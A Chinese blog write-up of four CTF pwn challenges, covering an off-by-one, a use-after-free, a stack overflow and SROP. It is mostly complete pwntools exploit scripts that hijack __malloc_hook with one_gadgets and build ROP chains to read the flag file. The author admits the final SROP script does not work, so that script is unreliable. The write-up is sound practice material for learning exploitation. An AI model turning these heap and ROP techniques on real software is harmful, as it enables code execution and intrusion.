总结一下:经过GFCTF的摧残打算复现一场较为简单的比赛了,虽然较为简单,但是也会有新东西学到哦。
simpleHeap
第一题就是我前几天学得off by one漏洞。
1 2 3 4 5 6 7 8 9 10 11 12
| int sub_CBB() { int v1;
printf("idx?"); v1 = sub_9EA(); if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] ) exit(0); printf("content:"); sub_C39(qword_2020A0[v1], dword_202060[v1]); return puts("Done!"); }
|
漏洞出现在edit函数内,可以多出一个字节。
题目主要存在的难点应该是让你多试一下realloc地址应该偏移多少
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import *
r = remote('node4.buuoj.cn', 26488) elf = ELF('./vn_pwn_simpleHeap') libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def create(size, data): r.recvuntil(b'choice: ') r.sendline(b'1') r.recvuntil(b'size?') r.sendline(bytes(str(size), encoding='utf-8')) r.recvuntil(b'content:') r.send(data)
def edit(id, data): r.recvuntil(b'choice: ') r.sendline(b'2') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf-8')) r.recvuntil(b'content:') r.send(data)
def show(id): r.recvuntil(b'choice: ') r.sendline(b'3') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf-8'))
def delete(id): r.recvuntil(b'choice: ') r.sendline(b'4') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf-8'))
create(0x68, b'a'*0x68) create(0x60, b'a'*0x60) create(0x60, b'a'*0x60) create(0x60, b'a'*0x60)
edit(0, b'a'*0x60+p64(0x70)+p8(0xe0+1)) delete(1) create(0x60, b'a'*0x60) show(2)
main_arena_88 = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) info(hex(main_arena_88)) malloc_hook = malloc_hook = (main_arena_88 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) info(hex(malloc_hook)) libc_base = malloc_hook-libc.symbols['__malloc_hook'] realloc = libc_base+libc.symbols['realloc']
one_gadget = libc_base+0x4526a
create(0x60, b'a'*0x60) delete(2) delete(1) delete(4) create(0x60, p64(malloc_hook-0x20+5-8)) create(0x60, b'a'*0x60) create(0x60, b'a'*0x60) create(0x60, b'a'*(0x20-5-8-8)+p64(one_gadget)+p64(realloc+0xc))
r.recvuntil(b'choice: ') r.sendline(b'1') r.recvuntil(b'size?') r.sendline(bytes(str(0x10), encoding='utf-8')) info(hex(one_gadget)) info(hex(realloc))
r.interactive()
|
easyTHeap
这道题漏洞发生在delete函数内,没有清楚指针造成UAF
1 2 3 4 5 6 7 8 9 10 11 12
| int sub_D2C() { int v1;
printf("idx?"); v1 = sub_9EA(); if ( v1 < 0 || v1 > 6 || !*(&unk_202080 + v1) ) exit(0); free(*(&unk_202080 + v1)); dword_202060[v1] = 0; return puts("Done!"); }
|
通过UAF得到tcache struct chunk的地址,再利用double free实现控制tcache struct chunk,进行tcache struct attack。这道题和GFCTF那道题很类似,不过这道简单一点,这里就不赘述可以去看复现GFCTF的那一篇 https://cv196082.gitee.io/2022/01/11/GFCTF/
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import *
r = remote('node4.buuoj.cn', 25768) elf = ELF('./vn_pwn_easyTHeap') libc = ELF('./libc-2.27.so')
context.log_level = 'debug'
def create(size): r.recvuntil(b'choice: ') r.sendline(b'1') r.recvuntil(b'size?') r.sendline(bytes(str(size), encoding='utf8'))
def edit(id, content): r.recvuntil(b'choice: ') r.sendline(b'2') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf8')) r.recvuntil(b'content:') r.send(content)
def show(id): r.recvuntil(b'choice: ') r.sendline(b'3') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf8'))
def delete(id): r.recvuntil(b'choice: ') r.sendline(b'4') r.recvuntil(b'idx?') r.sendline(bytes(str(id), encoding='utf8'))
create(0x50) delete(0) delete(0) show(0) tcache_struct_addr = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))-0x250 print(hex(tcache_struct_addr))
create(0x50) edit(1, p64(tcache_struct_addr))
create(0x50) create(0x50) edit(3, b'a'*0x28) delete(3) show(3) main_arena_96 = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) print(hex(malloc_hook)) libc_base = malloc_hook-libc.symbols['__malloc_hook'] realloc_addr = libc_base+libc.symbols['realloc']
one_gadget = libc_base+0x4f322
create(0x60) edit(4, b'\x00'*0x40+p64(0)*2+p64(malloc_hook-8))
create(0x30) edit(5, p64(one_gadget)+p64(realloc_addr+8))
create(1)
r.interactive()
|
warmup
题目很简单,不过需要gdb调试一下,调试一下会发现,第一个不存在栈溢出的函数和第二个存在栈溢出的函数的两个栈地址是相邻的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import *
r = remote('node4.buuoj.cn', 26531)
elf = ELF('./vn_pwn_warmup') libc = ELF('./libc-2.23.so')
r.recvuntil('gift: ')
puts_addr = int(r.recvline()[:-1], 16)
libc_base = puts_addr - libc.symbols['puts']
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi\nret', arch='amd64'))) pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi\nret', arch='amd64'))) pop_rdx_ret = libc_base + next(libc.search(asm('pop rdx\nret', arch='amd64')))
open_addr = libc_base + libc.symbols['open'] read_addr = libc_base + libc.symbols['read'] free_hook = libc_base + libc.symbols['__free_hook']
payload = b'a'*0x70 + b'b'*0x8 payload += p64(pop_rdi_ret)
payload2 = p64(0) + p64(pop_rsi_ret) + p64(free_hook) + \ p64(pop_rdx_ret) + p64(4) + p64(read_addr) payload2 += p64(pop_rdi_ret) + p64(free_hook) + \ p64(pop_rsi_ret) + p64(0) + p64(open_addr) payload2 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + \ p64(free_hook) + p64(pop_rdx_ret) + p64(100) + p64(read_addr) payload2 += p64(pop_rdi_ret) + p64(free_hook) + p64(puts_addr)
r.recvuntil('something: ') r.send(payload2) r.recvuntil('name?') r.send(payload) r.send('flag')
r.interactive()
|
babybabypwn
这一个是最头疼的,不过我写的exp后面改得和其他wp一样也是打不通就很烦。
这道题使用的是SROP攻击,原理我还没怎么看懂,不过做题我应该能做出来,所以我就放个exp,后面会把SROP的原理和相关例题在做一篇博客。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
context(os='Linux', arch='amd64', log_level='debug')
r = remote('node4.buuoj.cn', 29297) elf = ELF('./vn_pwn_babybabypwn_1') libc = ELF('./libc-2.23.so')
r.recvuntil(b'Here is my gift: 0x') puts_addr = int(r.recvuntil(b'\n', drop=True), 16) libc_base = puts_addr-libc.symbols['puts'] info(hex(libc_base)) libc_bss = libc.bss()+libc_base+0x100 pop_rdi = libc_base + 0x21102 pop_rsi = libc_base + 0x202e8 pop_rdx = libc_base + 0x1b92 read_addr = libc.symbols['read']+libc_base open_addr = libc.symbols['open']+libc_base write_addr = libc.symbols['write']+libc_base
r.recvuntil(b'Please input magic message: ') frame = SigreturnFrame() frame.rdi = 0 frame.rsi = libc_bss frame.rdx = 0x100 frame.rip = read_addr frame.rsp = libc_bss r.send(bytes(str(frame), encoding='utf8')[8:])
flag_addr = libc_bss+0x98
payload = p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + \ p64(libc_bss)+p64(pop_rdx)+p64(0x40)+p64(read_addr) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + \ p64(libc_bss)+p64(pop_rdx)+p64(0x40)+p64(write_addr) payload += b'flag\x00'
r.send(payload)
r.interactive()
|